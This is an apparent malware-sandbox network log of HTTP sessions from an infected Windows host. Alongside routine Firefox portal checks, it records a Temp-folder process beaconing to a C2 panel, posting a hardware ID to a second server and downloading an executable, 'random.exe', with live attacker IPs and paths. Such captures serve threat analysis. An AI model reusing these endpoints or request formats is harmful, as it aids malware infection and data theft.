Oct 24, 2024 09:09:04.084968090 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53805 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:04.198010921 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:04.325476885 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53805 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	50063	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:04.110171080 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	50068	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:04.334933043 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:04.929786921 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65719 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:05.014847040 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:05.139677048 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65720 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:05.707168102 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:05.831868887 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65720 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:05.956717968 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:06.081315994 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65721 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:06.394191027 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:06.519000053 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65721 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:10.655850887 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:10.781215906 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65725 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:20.788520098 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 09:09:21.300872087 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:21.425971985 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65736 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:09:21.706528902 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:09:21.831005096 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65736 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	50070	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:04.410209894 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:05.007978916 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53805 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:05.298934937 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:05.424416065 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53806 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:05.826009989 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:05.951391935 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53806 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:06.263988018 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:06.390420914 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53807 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:10.522687912 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:10.648268938 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53811 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:20.667448044 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 09:09:21.172607899 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:21.297827005 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53822 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:09:21.433262110 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:09:21.649163008 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53822 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50074	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:04.630310059 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 09:09:05.554213047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50079	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:07.141385078 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 09:09:08.052969933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50083	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:09.677794933 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 09:09:10.588449001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:09:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50087	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:12.123121023 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 09:09:13.031599998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50089	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:14.674204111 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 09:09:15.588901043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:09:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	50090	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:15.228954077 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 09:09:16.138942957 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 09:09:16.141077042 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBFHIEBKJKFHIEBFBAE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="build"doma------CFBFHIEBKJKFHIEBFBAE--
Oct 24, 2024 09:09:16.426481962 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	50093	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:17.835700035 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 09:09:18.745311022 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:09:18 GMT Content-Type: application/octet-stream Content-Length: 1911296 Last-Modified: Thu, 24 Oct 2024 06:55:23 GMT Connection: keep-alive ETag: "6719ef5b-1d2a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 c0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K@WkKK @.rsrc@.idata @ *@sygcicsm1@gyxlqsfmK@.taggant0K"@
Oct 24, 2024 09:09:18.745327950 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:09:18.745381117 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:09:18.745394945 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:09:18.745408058 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
